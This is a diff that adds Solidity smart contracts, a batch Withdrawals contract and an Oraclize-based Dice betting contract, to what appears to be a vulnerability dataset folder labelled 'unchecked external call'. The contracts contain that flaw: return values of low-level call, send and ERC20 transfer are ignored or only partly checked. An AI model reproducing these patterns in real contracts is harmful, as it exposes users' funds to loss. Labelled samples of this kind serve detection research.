+contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40375.sol b/smart_contract_dataset/unchecked external call/40375.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40375.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40406.sol b/smart_contract_dataset/unchecked external call/40406.sol new file mode 100644 index 0000000000000000000000000000000000000000..1c629a28f2091c9c5a9b2ca4c22e06bf0aa6b549 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40406.sol @@ -0,0 +1,789 @@ +// +/* +Copyright (c) 2015-2016 Oraclize srl, Thomas Bertani + + + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + + + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + + + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. +*/ + +contract OraclizeI { + address public cbAddress; + function query(uint _timestamp, string _datasource, string _arg) returns (bytes32 _id); + function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) returns (bytes32 _id); + function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) returns (bytes32 _id); + function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) returns (bytes32 _id); + function getPrice(string _datasource) returns (uint _dsprice); + function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); + function useCoupon(string _coupon); + function setProofType(byte _proofType); +} +contract OraclizeAddrResolverI { + function getAddress() returns (address _addr); +} +contract usingOraclize { + uint constant day = 60*60*24; + uint constant week = 60*60*24*7; + uint constant month = 60*60*24*30; + byte constant proofType_NONE = 0x00; + byte constant proofType_TLSNotary = 0x10; + byte constant proofStorage_IPFS = 0x01; + uint8 constant networkID_auto = 0; + uint8 constant networkID_mainnet = 1; + uint8 constant networkID_testnet = 2; + uint8 constant networkID_morden = 2; + uint8 constant networkID_consensys = 161; + + OraclizeAddrResolverI OAR; + + OraclizeI oraclize; + modifier oraclizeAPI { + address oraclizeAddr = OAR.getAddress(); + if (oraclizeAddr == 0){ + oraclize_setNetwork(networkID_auto); + oraclizeAddr = OAR.getAddress(); + } + oraclize = OraclizeI(oraclizeAddr); + _ + } + modifier coupon(string code){ + oraclize = OraclizeI(OAR.getAddress()); + oraclize.useCoupon(code); + _ + } + + function oraclize_setNetwork(uint8 networkID) internal returns(bool){ + if (getCodeSize(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed)>0){ + OAR = OraclizeAddrResolverI(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed); + return true; + } + if (getCodeSize(0x9efbea6358bed926b293d2ce63a730d6d98d43dd)>0){ + OAR = OraclizeAddrResolverI(0x9efbea6358bed926b293d2ce63a730d6d98d43dd); + return true; + } + if (getCodeSize(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf)>0){ + OAR = OraclizeAddrResolverI(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf); + return true; + } + return false; + } + + function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query.value(price)(0, datasource, arg); + } + function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query.value(price)(timestamp, datasource, arg); + } + function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); + } + function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); + } + function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query2.value(price)(0, datasource, arg1, arg2); + } + function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); + } + function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); + } + function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); + } + function oraclize_cbAddress() oraclizeAPI internal returns (address){ + return oraclize.cbAddress(); + } + function oraclize_setProof(byte proofP) oraclizeAPI internal { + return oraclize.setProofType(proofP); + } + + function getCodeSize(address _addr) constant internal returns(uint _size) { + assembly { + _size := extcodesize(_addr) + } + } + + + function parseAddr(string _a) internal returns (address){ + bytes memory tmp = bytes(_a); + uint160 iaddr = 0; + uint160 b1; + uint160 b2; + for (uint i=2; i<2+2*20; i+=2){ + iaddr *= 256; + b1 = uint160(tmp[i]); + b2 = uint160(tmp[i+1]); + if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; + else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; + if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; + else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; + iaddr += (b1*16+b2); + } + return address(iaddr); + } + + + function strCompare(string _a, string _b) internal returns (int) { + bytes memory a = bytes(_a); + bytes memory b = bytes(_b); + uint minLength = a.length; + if (b.length < minLength) minLength = b.length; + for (uint i = 0; i < minLength; i ++) + if (a[i] < b[i]) + return -1; + else if (a[i] > b[i]) + return 1; + if (a.length < b.length) + return -1; + else if (a.length > b.length) + return 1; + else + return 0; + } + + function indexOf(string _haystack, string _needle) internal returns (int) + { + bytes memory h = bytes(_haystack); + bytes memory n = bytes(_needle); + if(h.length < 1 || n.length < 1 || (n.length > h.length)) + return -1; + else if(h.length > (2**128 -1)) + return -1; + else + { + uint subindex = 0; + for (uint i = 0; i < h.length; i ++) + { + if (h[i] == n[0]) + { + subindex = 1; + while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) + { + subindex++; + } + if(subindex == n.length) + return int(i); + } + } + return -1; + } + } + + function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string){ + bytes memory _ba = bytes(_a); + bytes memory _bb = bytes(_b); + bytes memory _bc = bytes(_c); + bytes memory _bd = bytes(_d); + bytes memory _be = bytes(_e); + string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); + bytes memory babcde = bytes(abcde); + uint k = 0; + for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; + for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; + for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; + for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; + for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; + return string(babcde); + } + + function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { + return strConcat(_a, _b, _c, _d, ""); + } + + function strConcat(string _a, string _b, string _c) internal returns (string) { + return strConcat(_a, _b, _c, "", ""); + } + + function strConcat(string _a, string _b) internal returns (string) { + return strConcat(_a, _b, "", "", ""); + } + + // parseInt + function parseInt(string _a) internal returns (uint) { + return parseInt(_a, 0); + } + + // parseInt(parseFloat*10^_b) + function parseInt(string _a, uint _b) internal returns (uint) { + bytes memory bresult = bytes(_a); + uint mint = 0; + bool decimals = false; + for (uint i=0; i= 48)&&(bresult[i] <= 57)){ + if (decimals){ + if (_b == 0) break; + else _b--; + } + mint *= 10; + mint += uint(bresult[i]) - 48; + } else if (bresult[i] == 46) decimals = true; + } + if (_b > 0) mint *= 10**_b; + return mint; + } + + +} +// + +contract Dice is usingOraclize { + + uint public pwin = 5000; //probability of winning (10000 = 100%) + uint public edge = 200; //edge percentage (10000 = 100%) + uint public maxWin = 100; //max win (before edge is taken) as percentage of bankroll (10000 = 100%) + uint public minBet = 1 finney; + uint public maxInvestors = 5; //maximum number of investors + uint public houseEdge = 50; //edge percentage (10000 = 100%) + uint public divestFee = 50; //divest fee percentage (10000 = 100%) + uint public emergencyWithdrawalRatio = 90; //ratio percentage (100 = 100%) + + uint safeGas = 25000; + uint constant ORACLIZE_GAS_LIMIT = 125000; + uint constant INVALID_BET_MARKER = 99999; + uint constant EMERGENCY_TIMEOUT = 7 days; + + struct Investor { + address investorAddress; + uint amountInvested; + bool votedForEmergencyWithdrawal; + } + + struct Bet { + address playerAddress; + uint amountBetted; + uint numberRolled; + } + + struct WithdrawalProposal { + address toAddress; + uint atTime; + } + + //Starting at 1 + mapping(address => uint) investorIDs; + mapping(uint => Investor) investors; + uint public numInvestors = 0; + + uint public invested = 0; + + address owner; + address houseAddress; + bool public isStopped; + + WithdrawalProposal proposedWithdrawal; + + mapping (bytes32 => Bet) bets; + bytes32[] betsKeys; + + uint public amountWagered = 0; + uint public investorsProfit = 0; + uint public investorsLoses = 0; + bool profitDistributed; + + event BetWon(address playerAddress, uint numberRolled, uint amountWon); + event BetLost(address playerAddress, uint numberRolled); + event EmergencyWithdrawalProposed(); + event EmergencyWithdrawalFailed(address withdrawalAddress); + event EmergencyWithdrawalSucceeded(address withdrawalAddress, uint amountWithdrawn); + event FailedSend(address receiver, uint amount); + event ValueIsTooBig(); + + function Dice(uint pwinInitial, + uint edgeInitial, + uint maxWinInitial, + uint minBetInitial, + uint maxInvestorsInitial, + uint houseEdgeInitial, + uint divestFeeInitial, + uint emergencyWithdrawalRatioInitial + ) { + + oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS); + + pwin = pwinInitial; + edge = edgeInitial; + maxWin = maxWinInitial; + minBet = minBetInitial; + maxInvestors = maxInvestorsInitial; + houseEdge = houseEdgeInitial; + divestFee = divestFeeInitial; + emergencyWithdrawalRatio = emergencyWithdrawalRatioInitial; + owner = msg.sender; + houseAddress = msg.sender; + } + + //SECTION I: MODIFIERS AND HELPER FUNCTIONS + + //MODIFIERS + + modifier onlyIfNotStopped { + if (isStopped) throw; + _ + } + + modifier onlyIfStopped { + if (!isStopped) throw; + _ + } + + modifier onlyInvestors { + if (investorIDs[msg.sender] == 0) throw; + _ + } + + modifier onlyNotInvestors { + if (investorIDs[msg.sender] != 0) throw; + _ + } + + modifier onlyOwner { + if (owner != msg.sender) throw; + _ + } + + modifier onlyOraclize { + if (msg.sender != oraclize_cbAddress()) throw; + _ + } + + modifier onlyMoreThanMinInvestment { + if (msg.value <= getMinInvestment()) throw; + _ + } + + modifier onlyMoreThanZero { + if (msg.value == 0) throw; + _ + } + + modifier onlyIfBetSizeIsStillCorrect(bytes32 myid) { + Bet thisBet = bets[myid]; + if ((((thisBet.amountBetted * ((10000 - edge) - pwin)) / pwin ) <= (maxWin * getBankroll()) / 10000)) { + _ + } + else { + bets[myid].numberRolled = INVALID_BET_MARKER; + safeSend(thisBet.playerAddress, thisBet.amountBetted); + return; + } + } + + modifier onlyIfValidRoll(bytes32 myid, string result) { + Bet thisBet = bets[myid]; + uint numberRolled = parseInt(result); + if ((numberRolled < 1 || numberRolled > 10000) && thisBet.numberRolled == 0) { + bets[myid].numberRolled = INVALID_BET_MARKER; + safeSend(thisBet.playerAddress, thisBet.amountBetted); + return; + } + _ + } + + modifier onlyIfInvestorBalanceIsPositive(address currentInvestor) { + if (getBalance(currentInvestor) >= 0) { + _ + } + } + + modifier onlyWinningBets(uint numberRolled) { + if (numberRolled - 1 < pwin) { + _ + } + } + + modifier onlyLosingBets(uint numberRolled) { + if (numberRolled - 1 >= pwin) { + _ + } + } + + modifier onlyAfterProposed { + if (proposedWithdrawal.toAddress == 0) throw; + _ + } + + modifier rejectValue { + if (msg.value != 0) throw; + _ + } + + modifier onlyIfProfitNotDistributed { + if (!profitDistributed) { + _ + } + } + + modifier onlyIfValidGas(uint newGasLimit) { + if (newGasLimit < 25000) throw; + _ + } + + modifier onlyIfNotProcessed(bytes32 myid) { + Bet thisBet = bets[myid]; + if (thisBet.numberRolled > 0) throw; + _ + } + + modifier onlyIfEmergencyTimeOutHasPassed { + if (proposedWithdrawal.atTime + EMERGENCY_TIMEOUT > now) throw; + _ + } + + + //CONSTANT HELPER FUNCTIONS + + function getBankroll() constant returns(uint) { + return invested + investorsProfit - investorsLoses; + } + + function getMinInvestment() constant returns(uint) { + if (numInvestors == maxInvestors) { + uint investorID = searchSmallestInvestor(); + return getBalance(investors[investorID].investorAddress); + } + else { + return 0; + } + } + + function getStatus() constant returns(uint, uint, uint, uint, uint, uint, uint, uint, uint) { + + uint bankroll = getBankroll(); + + if (this.balance < bankroll) { + bankroll = this.balance; + } + + uint minInvestment = getMinInvestment(); + + return (bankroll, pwin, edge, maxWin, minBet, amountWagered, (investorsProfit - investorsLoses), minInvestment, betsKeys.length); + } + + function getBet(uint id) constant returns(address, uint, uint) { + if (id < betsKeys.length) { + bytes32 betKey = betsKeys[id]; + return (bets[betKey].playerAddress, bets[betKey].amountBetted, bets[betKey].numberRolled); + } + } + + function numBets() constant returns(uint) { + return betsKeys.length; + } + + function getMinBetAmount() constant returns(uint) { + uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice("URL", ORACLIZE_GAS_LIMIT + safeGas); + return oraclizeFee + minBet; + } + + function getMaxBetAmount() constant returns(uint) { + uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice("URL", ORACLIZE_GAS_LIMIT + safeGas); + uint betValue = (maxWin * getBankroll()) * pwin / (10000 * (10000 - edge - pwin)); + return betValue + oraclizeFee; + } + + function getLosesShare(address currentInvestor) constant returns (uint) { + return investors[investorIDs[currentInvestor]].amountInvested * (investorsLoses) / invested; + } + + function getProfitShare(address currentInvestor) constant returns (uint) { + return investors[investorIDs[currentInvestor]].amountInvested * (investorsProfit) / invested; + } + + function getBalance(address currentInvestor) constant returns (uint) { + return investors[investorIDs[currentInvestor]].amountInvested + getProfitShare(currentInvestor) - getLosesShare(currentInvestor); + } + + // PRIVATE HELPERS FUNCTION + + function searchSmallestInvestor() private returns(uint) { + uint investorID = 1; + for (uint i = 1; i <= numInvestors; i++) { + if (getBalance(investors[i].investorAddress) < getBalance(investors[investorID].investorAddress)) { + investorID = i; + } + } + + return investorID; + } + + function safeSend(address addr, uint value) private { + if (this.balance < value) { + ValueIsTooBig(); + return; + } + + if (!(addr.call.gas(safeGas).value(value)())) { + FailedSend(addr, value); + if (addr != houseAddress) { + //Forward to house address all change + if (!(houseAddress.call.gas(safeGas).value(value)())) FailedSend(houseAddress, value); + } + } + } + + function addInvestorAtID(uint id) private { + investorIDs[msg.sender] = id; + investors[id].investorAddress = msg.sender; + investors[id].amountInvested = msg.value; + invested += msg.value; + } + + function profitDistribution() private onlyIfProfitNotDistributed { + uint copyInvested; + + for (uint i = 1; i <= numInvestors; i++) { + address currentInvestor = investors[i].investorAddress; + uint profitOfInvestor = getProfitShare(currentInvestor); + uint losesOfInvestor = getLosesShare(currentInvestor); + investors[i].amountInvested += profitOfInvestor - losesOfInvestor; + copyInvested += investors[i].amountInvested; + } + + delete investorsProfit; + delete investorsLoses; + invested = copyInvested; + + profitDistributed = true; + } + + // SECTION II: BET & BET PROCESSING + + function() { + bet(); + } + + function bet() onlyIfNotStopped onlyMoreThanZero { + uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice("URL", ORACLIZE_GAS_LIMIT + safeGas); + uint betValue = msg.value - oraclizeFee; + if ((((betValue * ((10000 - edge) - pwin)) / pwin ) <= (maxWin * getBankroll()) / 10000) && (betValue >= minBet)) { + // encrypted arg: '\n{"jsonrpc":2.0,"method":"generateSignedIntegers","params":{"apiKey":"YOUR_API_KEY","n":1,"min":1,"max":10000},"id":1}' + bytes32 myid = oraclize_query("URL", "json(https://api.random.org/json-rpc/1/invoke).result.random.data.0", 'BCPnjiU1UySjNV2Nj003k7TFMVA/ddeUVwDlNnvte/GMShwVuchXA3Ul4vl3U656g7ZMq+H5Upk42wujF4p6gbasCoh7vTMlOXdG3Ehct+buCpx99Y8FSqyoAItrPtSTKZ1BHDnl5UF0oPv4tcG+L9ahH0cD8J6U/5I8OJBvjitE103Fxqo2W90bGIhnBeunSlQoHzN+zMIMmzNQJvp/PtybJSKfmfxiaqC+vCt4CywRLxI8pGijdhbwSzncjwg/wrYHFrJmcugmEPOvx7Entmnpec1MssnR1weOhayIzBU=', ORACLIZE_GAS_LIMIT + safeGas); + bets[myid] = Bet(msg.sender, betValue, 0); + betsKeys.push(myid); + } + else { + throw; + } + } + + function __callback (bytes32 myid, string result, bytes proof) + onlyOraclize + onlyIfNotProcessed(myid) + onlyIfValidRoll(myid, result) + onlyIfBetSizeIsStillCorrect(myid) { + + Bet thisBet = bets[myid]; + uint numberRolled = parseInt(result); + bets[myid].numberRolled = numberRolled; + isWinningBet(thisBet, numberRolled); + isLosingBet(thisBet, numberRolled); + amountWagered += thisBet.amountBetted; + delete profitDistributed; + } + + function isWinningBet(Bet thisBet, uint numberRolled) private onlyWinningBets(numberRolled) { + uint winAmount = (thisBet.amountBetted * (10000 - edge)) / pwin; + BetWon(thisBet.playerAddress, numberRolled, winAmount); + safeSend(thisBet.playerAddress, winAmount); + investorsLoses += (winAmount - thisBet.amountBetted); + } + + function isLosingBet(Bet thisBet, uint numberRolled) private onlyLosingBets(numberRolled) { + BetLost(thisBet.playerAddress, numberRolled); + safeSend(thisBet.playerAddress, 1); + investorsProfit += (thisBet.amountBetted - 1)*(10000 - houseEdge)/10000; + uint houseProfit = (thisBet.amountBetted - 1)*(houseEdge)/10000; + safeSend(houseAddress, houseProfit); + } + + //SECTION III: INVEST & DIVEST + + function increaseInvestment() onlyIfNotStopped onlyMoreThanZero onlyInvestors { + profitDistribution(); + investors[investorIDs[msg.sender]].amountInvested += msg.value; + invested += msg.value; + } + + function newInvestor() + onlyIfNotStopped + onlyMoreThanZero + onlyNotInvestors + onlyMoreThanMinInvestment { + profitDistribution(); + + if (numInvestors < maxInvestors) { + numInvestors++; + addInvestorAtID(numInvestors); + } + else { + uint smallestInvestorID = searchSmallestInvestor(); + divest(investors[smallestInvestorID].investorAddress); + addInvestorAtID(smallestInvestorID); + numInvestors++; + } + } + + function divest() onlyInvestors rejectValue { + divest(msg.sender); + } + + function divest(address currentInvestor) + private + onlyIfInvestorBalanceIsPositive(currentInvestor) { + + profitDistribution(); + uint currentID = investorIDs[currentInvestor]; + uint amountToReturn = getBalance(currentInvestor); + invested -= investors[currentID].amountInvested; + uint divestFeeAmount = (amountToReturn*divestFee)/10000; + amountToReturn -= divestFeeAmount; + //Clean up + numInvestors--; + delete investors[currentID]; + delete investorIDs[currentInvestor]; + safeSend(currentInvestor, amountToReturn); + safeSend(houseAddress, divestFeeAmount); + } + + function forceDivestOfAllInvestors() onlyOwner rejectValue { + uint copyNumInvestors = numInvestors; + for (uint investorID = 1; investorID <= copyNumInvestors; investorID++) { + divest(investors[investorID].investorAddress); + } + } + + /* + The owner can use this function to force the exit of an investor from the + contract during an emergency withdrawal in the following situations: + - Unresponsive investor + - Investor demanding to be paid in other to vote, the facto-blackmailing + other investors + */ + function forceDivestOfOneInvestor(address currentInvestor) + onlyOwner + onlyIfStopped + rejectValue { + + divest(currentInvestor); + //Resets emergency withdrawal proposal. Investors must vote again + delete proposedWithdrawal; + } + + //SECTION IV: CONTRACT MANAGEMENT + + function stopContract() onlyOwner rejectValue { + isStopped = true; + } + + function resumeContract() onlyOwner rejectValue { + isStopped = false; + } + + function changeHouseAddress(address newHouse) onlyOwner rejectValue { + houseAddress = newHouse; + } + + function changeOwnerAddress(address newOwner) onlyOwner rejectValue { + owner = newOwner; + } + + function changeGasLimitOfSafeSend(uint newGasLimit) + onlyOwner + onlyIfValidGas(newGasLimit) + rejectValue { + safeGas = newGasLimit; + } + + //SECTION V: EMERGENCY WITHDRAWAL + + function voteEmergencyWithdrawal(bool vote) + onlyInvestors + onlyAfterProposed + onlyIfStopped + rejectValue { + investors[investorIDs[msg.sender]].votedForEmergencyWithdrawal = vote; + } + + function proposeEmergencyWithdrawal(address withdrawalAddress) + onlyIfStopped + onlyOwner + rejectValue { + + //Resets previous votes + for (uint i = 1; i <= numInvestors; i++) { + delete investors[i].votedForEmergencyWithdrawal; + } + + proposedWithdrawal = WithdrawalProposal(withdrawalAddress, now); + EmergencyWithdrawalProposed(); + } + + function executeEmergencyWithdrawal() + onlyOwner + onlyAfterProposed + onlyIfStopped + onlyIfEmergencyTimeOutHasPassed + rejectValue { + + uint numOfVotesInFavour; + uint amountToWithdrawal = this.balance; + + for (uint i = 1; i <= numInvestors; i++) { + if (investors[i].votedForEmergencyWithdrawal == true) { + numOfVotesInFavour++; + delete investors[i].votedForEmergencyWithdrawal; + } + } + + if (numOfVotesInFavour >= emergencyWithdrawalRatio * numInvestors / 100) { + if (!proposedWithdrawal.toAddress.send(this.balance)) { + EmergencyWithdrawalFailed(proposedWithdrawal.toAddress); + } + else { + EmergencyWithdrawalSucceeded(proposedWithdrawal.toAddress, amountToWithdrawal); + } + } + else { + throw; + } + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40407.sol b/smart_contract_dataset/unchecked external call/40407.sol new file mode 100644 index 0000000000000000000000000000000000000000..1c629a28f2091c9c5a9b2ca4c22e06bf0aa6b549 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40407.sol @@ -0,0 +1,789 @@ +// +/* +Copyright (c) 2015-2016 Oraclize srl, Thomas Bertani + + + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + + + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + + + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, 